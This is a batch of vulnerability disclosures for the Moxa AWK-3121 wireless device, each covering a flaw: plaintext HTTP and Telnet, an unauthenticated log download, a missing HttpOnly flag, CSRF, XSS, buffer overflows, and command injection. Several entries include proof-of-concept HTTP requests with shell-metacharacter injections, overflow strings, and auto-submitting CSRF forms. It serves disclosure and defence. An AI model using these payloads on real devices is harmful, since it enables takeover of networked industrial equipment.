1.CVE-2018-10690

[Suggested description]

An issue was discovered on Moxa AWK-3121 1.14 devices.

The device by default allows HTTP traffic thus

providing an insecure communication mechanism for a user connecting to

the web server. This allows an attacker to sniff the traffic easily and

allows an attacker to compromise sensitive data such as credentials.

[VulnerabilityType Other]

HTTP traffic by default

[Vendor of Product]

Moxa

[Affected Product Code Base]

AWK-3121 - 1.14

[Affected Component]

Web Server -- iw_webs (Goahead)

[Attack Type]

Remote

[Impact Information Disclosure]

true

[Attack Vectors]

An attacker can sniff the HTTP traffic passing between the user and the device by using a MITM attack such as ARP poisoning.

[Reference]

https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm

[Discoverer]

Samuel Huntley

2. CVE-2018-10691

[Suggested description]

An issue was discovered on Moxa AWK-3121 1.14 devices.

It is intended that an administrator can download /systemlog.log (the system

log). However, the same functionality allows an attacker to download the file without any authentication or authorization.

[Additional Information]

POC

http://192.168.127.253//systemlog.log

[Vulnerability Type]

Incorrect Access Control

[Vendor of Product]

Moxa

[Affected Product Code Base]

AWK-3121 - 1.14

[Affected Component]

Web Server -- iw_webs (Goahead)

[Attack Type]

Remote

[Impact Information Disclosure]

true

[Attack Vectors]

An attacker can navigate to URL and download the systemlog file without any authentication or authorization

---

[Reference]

https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm

[Discoverer]

Samuel Huntley

3. CVE-2018-10692

[Suggested description]

An issue was discovered on Moxa AWK-3121 1.14 devices.

The session cookie "Password508" does not have an HttpOnly flag.

This allows an attacker who is able to execute a cross-site

scripting attack to steal the cookie very easily.

[VulnerabilityType Other]

Missing HttpOnly flag on session cookie

[Vendor of Product]

Moxa

[Affected Product Code Base]

AWK-3121 - 1.14

[Affected Component]

Web Server -- iw_webs (Goahead)

[Attack Type]

Remote

[Impact Information Disclosure]

true

[Attack Vectors]

An attacker can use cross-site scripting attack to access the session cookie "Password508" which can allow an attacker to login into the device.

[Reference]

https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm

[Discoverer]

Samuel Huntley

4. CVE-2018-10693

[Suggested description]

An issue was discovered on Moxa AWK-3121 1.14 devices.

It provides ping functionality so that an administrator

can execute ICMP calls to check if the network is working correctly.

However, the same functionality allows an attacker to execute commands

on the device. The POST parameter "srvName" is susceptible to a buffer

overflow. By crafting a packet that contains a string of

516 characters, it is possible for an attacker to execute the attack.

[Additional Information]

POC

POST /forms/webSetPingTrace HTTP/1.1

Cookie: Password508=6d86219d9cca208c1085cce81fdd31f0

srvName=AAAAAA (etc.) EEEEEE&option=0&bkpath=%2Fping_trace.asp

---

[Vulnerability Type]

Buffer Overflow

[Vendor of Product]

Moxa

[Affected Product Code Base]

AWK-3121 - 1.14

[Affected Component]

Web Server -- iw_webs (Goahead)

[Attack Type]

Remote

[Impact Code execution]

true

[Attack Vectors]

Use XSRF form to trick an admin into submitting the request and execute a buffer overflow on the device

---

[Reference]

https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm

[Discoverer]

Samuel Huntley

5. CVE-2018-10694

[Suggested description]

An issue was discovered on Moxa AWK-3121 1.14 devices.

The device provides a Wi-Fi connection that is open and does not use

any encryption mechanism by default. An administrator who uses the

open wireless connection to set up the device can allow an

attacker to sniff the traffic passing between the user's computer and the device. This can allow an attacker to steal the credentials passing over the HTTP connection as well as TELNET traffic. Also an attacker can MITM the response and infect a user's computer very easily as well.

[VulnerabilityType Other]

Open WiFi Connection

[Vendor of Product]

Moxa

[Affected Product Code Base]

AWK 3121 - 1.14

[Affected Component]

Device

[Attack Type]

Remote

[Impact Information Disclosure]

true

[Attack Vectors]

An attacker can monitor the Wifi channels using Kismet or some other opensource software and an wireless card in monitor mode and sniff all the traffic including HTTP traffic as well as SSH and Telnet traffic.

[Reference]

https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm

[Discoverer]

Samuel Huntley

6. CVE-2018-10695

[Suggested description]

An issue was discovered on Moxa AWK-3121 1.14 devices.
It provides alert functionality so that an
administrator can send emails to his/her account when there are
changes to the device's network. However, the same functionality allows
an attacker to execute commands on the device. The POST parameters
"to1,to2,to3,to4" are all susceptible to buffer overflow. By crafting

a packet that contains a string of 678 characters, it is

possible for an attacker to execute the attack.

[Additional Information]

POC

POST /forms/web_SendTestEmail HTTP/1.1

Cookie: Password508=fab7f1d1efa604721aa70cf5a1ad163f

server=server.mail.com&username=test&password=test&from=test@mail.com&to1=AAAAAAAAAA
(etc.)

[Vulnerability Type]

Buffer Overflow

[Vendor of Product]

Moxa

[Affected Product Code Base]

AWK 3121 - 1.14

[Affected Component]

Web Server -- iw_webs (Goahead)

[Attack Type]

Remote

[Impact Code execution]

true

[Attack Vectors]

Use XSRF form to trick an admin into submitting the request and execute the buffer overflow

---

[Reference]

https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm

[Discoverer]

Samuel Huntley

7. CVE-2018-10696

[Suggested description]

An issue was discovered on Moxa AWK-3121 1.14 devices.

The device provides a web interface to allow an administrator to

manage the device. However, this interface is not protected against

CSRF attacks, which allows an attacker to trick an administrator into

executing actions without his/her knowledge, as demonstrated by the forms/iw_webSetParameters and

forms/webSetMainRestart URIs.

[Additional Information]

POC to change name of the device

```
<html
 <body
  <form id="f" action="http://192.168.127.253/forms/iw_webSetParameters" method="POST" enctype="application/x-www-form-urlencoded"
   <input type="hidden" name="iw_board_deviceName" value="AWK-ROMEO" /
   <input type="hidden" name="iw_board_deviceLocation" value="" /
   <input type="hidden" name="iw_board_deviceDescription" value="" /
   <input type="hidden" name="iw_board_deviceContactInfo" value="" /
   <input type="hidden" name="Submit" value="Submit" /
   <input type="hidden" name="bkpath" value="/sysinfo.asp         " /
  </form
  <script
  setTimeout("document.forms['f'].submit();",1);
  </script
 </body
</html

<html
 <body
```

```
  <form id="f" action="http://192.168.127.253/forms/webSetMainRestart" method="GET"
enctype="application/x-www-form-urlencoded"

   <input type="hidden" name="SaveValue" value="1" /

  </form

  <script

  setTimeout("document.forms['f'].submit();",1);

  </script

 </body

</html
```

[Vulnerability Type]

Cross Site Request Forgery (CSRF)

[Vendor of Product]

Moxa

[Affected Product Code Base]

AWK-3121 - 1.14

[Affected Component]

Web Server -- iw_webs (Goahead)

[Attack Type]

Remote

[Impact Code execution]

true

[Impact Escalation of Privileges]

true

[Impact Information Disclosure]

true

[Attack Vectors]

An attacker can trick an administrator of the device to visit an
attacker controlled page while connected to the network and thus trick
to change the password or any other setting

[Reference]

https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm

[Discoverer]

Samuel Huntley

8. CVE-2018-10697

[Suggested description]

An issue was discovered on Moxa AWK-3121 1.14 devices.

The Moxa AWK 3121 provides ping functionality so that an administrator

can execute ICMP calls to check if the network is working correctly.

However, the same functionality allows an attacker to execute commands

on the device. The POST parameter "srvName" is susceptible to this

injection. By crafting a packet that contains shell metacharacters,

it is possible for an attacker to

execute the attack.

[Additional Information]

POC

POST /forms/webSetPingTrace HTTP/1.1

Cookie: Password508=e07f98b965bcc5abfe11c9c763b2d333

srvName=192.168.127.102;ping -c 8 192.168.127.101;##&option=0&bkpath=%2Fping_trace.asp

---

[VulnerabilityType Other]

Command injection in Ping functionality

[Vendor of Product]

Moxa

[Affected Product Code Base]

AWK 3121 - 1.14

[Affected Component]

Web Server -- iw_webs (Goahead)

[Attack Type]

Remote

[Impact Code execution]

true

[Attack Vectors]

Use XSRF form to trick an admin into submitting the request

[Reference]

https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm

[Discoverer]

Samuel Huntley

9. CVE-2018-10698

[Suggested description]

An issue was discovered on Moxa AWK-3121 1.14 devices.
The device enables an unencrypted TELNET service by default. This allows an attacker who has been able to gain an MITM position to easily sniff the traffic between the device and the user. Also an attacker can easily connect to the TELNET daemon using the default credentials if they have not been changed by the user.

[VulnerabilityType Other]

Insecure service Telnet enabled by default

[Vendor of Product]

Moxa

[Affected Product Code Base]

AWK-3121 - 1.14

[Affected Component]

Telnet daemon

[Attack Type]

Remote

[Impact Code execution]

true

[Impact Information Disclosure]

true

[Attack Vectors]

An attacker can sniff the traffic passing between the device and user by using a MITM attack such as ARP poisoning

---

[Reference]

https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm

[Discoverer]

Samuel Huntley

10. CVE-2018-10699

[Suggested description]

An issue was discovered on Moxa AWK-3121 1.14 devices.

The Moxa AWK 3121 provides certfile upload functionality so that an

administrator can upload a certificate file used for connecting to the

wireless network. However, the same functionality allows an attacker

to execute commands on the device. The POST parameter "iw_privatePass"

is susceptible to this injection. By crafting a packet that contains shell metacharacters,

it is possible

for an attacker to execute the attack.

[Additional Information]

POC

POST /forms/web_certUpload HTTP/1.1

Cookie: Password508=68abf30ef8176a4248320929e04df562

... 114782935826962

Content-Disposition: form-data; name="iw_privatePass"

;`ping -c 9 192.168.127.103` ##

... 114782935826962

Content-Disposition: form-data; name="bkpath"

/wireless_cert.asp?index=1

... 114782935826962

Content-Disposition: form-data; name="certSection"

certWlan

... 114782935826962

Content-Disposition: form-data; name="rfindex"

0

... 114782935826962

Content-Disposition: form-data; name="Submit"

Submit

... 114782935826962

Content-Disposition: form-data; name="certFile1"

test.txt

... 114782935826962

Content-Disposition: form-data; name="certFile"; filename="blob"

Content-Type: text/xml

<a id="a"<b id="b"hey!</b</a

... 114782935826962--

[VulnerabilityType Other]

Command injection in file upload

[Vendor of Product]

Moxa

[Affected Product Code Base]

AWK-3121 - 1.14

[Affected Component]

Web Server -- iw_webs (Goahead)

[Attack Type]

Remote

[Impact Code execution]

true

[Attack Vectors]

Use XSRF form to trick an admin into submitting the request

[Reference]

https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm

[Discoverer]

Samuel Huntley

11. CVE-2018-10700

[Suggested description]

An issue was discovered on Moxa AWK-3121 1.19 devices. It
provides functionality so that an administrator can change the
name of the device. However, the same functionality allows an attacker
to execute XSS by injecting an XSS payload. The POST parameter
"iw_board_deviceName" is susceptible to this injection.

[Additional Information]

POC

<html

 <body

```
  <form id="f" action="http://192.168.127.253/forms/iw_webSetParameters" method="POST"
enctype="application/x-www-form-urlencoded"
   <input type="hidden" name="iw_board_deviceName" value="AWK<\/td');alert(1);//" /
   <input type="hidden" name="iw_board_deviceLocation" value="" /
   <input type="hidden" name="iw_board_deviceDescription" value="" /
   <input type="hidden" name="iw_board_deviceContactInfo" value="" /
   <input type="hidden" name="Submit" value="Submit" /
   <input type="hidden" name="bkpath" value="/sysinfo.asp         " /
  </form
  <script
  setTimeout("document.forms['f'].submit();",1);
  </script
 </body
</html
```

[Vulnerability Type]

Cross Site Scripting (XSS)

[Vendor of Product]

Moxa

[Affected Product Code Base]

AWK-3121 - 1.9

[Affected Component]

Web Server -- iw_webs (Goahead)

[Attack Type]

Remote

[Impact Code execution]

true

[Impact Escalation of Privileges]

true

[Impact Information Disclosure]

true

[Attack Vectors]

Use XSRF form to trick an admin into submitting the request and execute a stored XSS on the device.

[Reference]

https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm

[Discoverer]

Samuel Huntley

12. CVE-2018-10701

[Suggested description]

An issue was discovered on Moxa AWK-3121 1.14 devices.
It provides functionality so that an administrator
can run scripts on the device to troubleshoot any issues. However,
the same functionality allows an attacker to execute commands on the
device. The POST parameter "iw_filename" is susceptible to buffer
overflow. By crafting a packet that contains a string of
162 characters, it is possible for an attacker to execute the attack.

[Additional Information]

POC

POST /forms/web_runScript HTTP/1.1

Cookie: Password508=071b1093656adca3510d5e32f69737ec

... 7e21a62f2905ca

Content-Disposition: form-data; name="iw_filename";
filename="Gf9m5PCwpwb1EG9XwhQihCFPSNPkwLNBTbVZHUAnYc5iRYaWz9emM4QihCFPSNPkwLN

BTbVZHUAnYc5iRYaWz9emhwaiAovSDSnetSUozuikToxaPbF5vWtATCofc6MNQ6hwaiAovSDSnetSUozuikToxemBBBCCCC"

Content-Type: application/octet-stream

ls -ltr

... 7e21a62f2905ca

Content-Disposition: form-data; name="iw_storage"

tftp

... 7e21a62f2905ca

Content-Disposition: form-data; name="iw_serverip"

`ping -c 3 192.168.127.101`

... 7e21a62f2905ca

Content-Disposition: form-data; name="bkpath"

/Troubleshooting.asp

... 7e21a62f2905ca--

[Vulnerability Type]

Buffer Overflow

[Vendor of Product]

Moxa

[Affected Product Code Base]

AWK-3121 - 1.14

[Affected Component]

Web Server -- iw_webs (Goahead)

[Attack Type]

Remote

[Impact Code execution]

true

[Attack Vectors]

Use XSRF form to trick an admin into submitting the request and execute buffer overflow

---

[Reference]

https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm

[Discoverer]

Samuel Huntley

13. CVE-2018-10702

[Suggested description]

An issue was discovered on Moxa AWK-3121 1.14 devices.

It provides functionality so that an administrator

can run scripts on the device to troubleshoot any issues. However,

the same functionality allows an attacker to execute commands on the

device. The POST parameter "iw_filename" is susceptible to command

injection via shell metacharacters.

[Additional Information]

POC

```
<html
  <body
    <script
      function submitRequest()
      {
        var formData = new FormData();

formData.append("iw_filename", ";`ping -c 9 192.168.127.103` ##");
formData.append("iw_storage", "tftp");
formData.append("iw_serverip", "192.168.1.101");
formData.append("bkpath", "/wireless_cert.asp?index=1");

// HTML file input, chosen by user
```

```
formData.append("certFile1", "test.txt");

// JavaScript file-like object
var content = '<a id="a"<b id="b"hey!</b></a'; // the body of the new file...
var blob = new Blob([content], { type: "text/xml"});

formData.append("certFile", blob);

var request = new XMLHttpRequest();
request.open("POST", "http://192.168.127.253/forms/web_certUpload");
request.send(formData);
    }
  </script
  <form action="#"
   <input type="submit" value="Submit request" onclick="submitRequest();" /
  </form
 </body
</html
```

[VulnerabilityType Other]

Command injection in web runscript functionality

[Vendor of Product]

Moxa

[Affected Product Code Base]

AWK-3121 - 1.14

[Affected Component]

Web Server -- iw_webs (Goahead)

[Attack Type]

Remote

[Impact Code execution]

true

[Attack Vectors]

Use XSRF form to trick an admin into submitting the request

[Reference]

https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm

[Discoverer]

14. CVE-2018-10703

[Suggested description]

An issue was discovered on Moxa AWK-3121 1.14 devices.

It provides functionality so that an administrator

can run scripts on the device to troubleshoot any issues. However,

the same functionality allows an attacker to execute commands on the

device. The POST parameter "iw_serverip" is susceptible to buffer

overflow. By crafting a packet that contains a string of

480 characters, it is possible for an attacker to execute the attack.

[Additional Information]

POC

POST /forms/web_runScript HTTP/1.1

Cookie: Password508=c629f1b9d18c3d751da6d7b1fd43e628

... 7e21a62f2905ca

Content-Disposition: form-data; name="iw_filename"; filename="XXXX"

Content-Type: application/octet-stream

ls -ltr

... 7e21a62f2905ca

Content-Disposition: form-data; name="iw_storage"

tftp

... 7e21a62f2905ca

Content-Disposition: form-data; name="iw_serverip"

AAAAAAAAAAAAAAAAA (etc.)

... 7e21a62f2905ca

Content-Disposition: form-data; name="bkpath"

/Troubleshooting.asp

... 7e21a62f2905ca--

[Vulnerability Type]

Buffer Overflow

[Vendor of Product]

Moxa

[Affected Product Code Base]

AWK-3121 - 1.14

[Affected Component]

Web Server -- iw_webs (Goahead)

[Attack Type]

Remote

[Impact Code execution]

true

[Impact Information Disclosure]

true

[Attack Vectors]

Use XSRF form to trick an admin into submitting the request and execute the buffer overflow

---

[Reference]

https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm

[Discoverer]

Samuel Huntley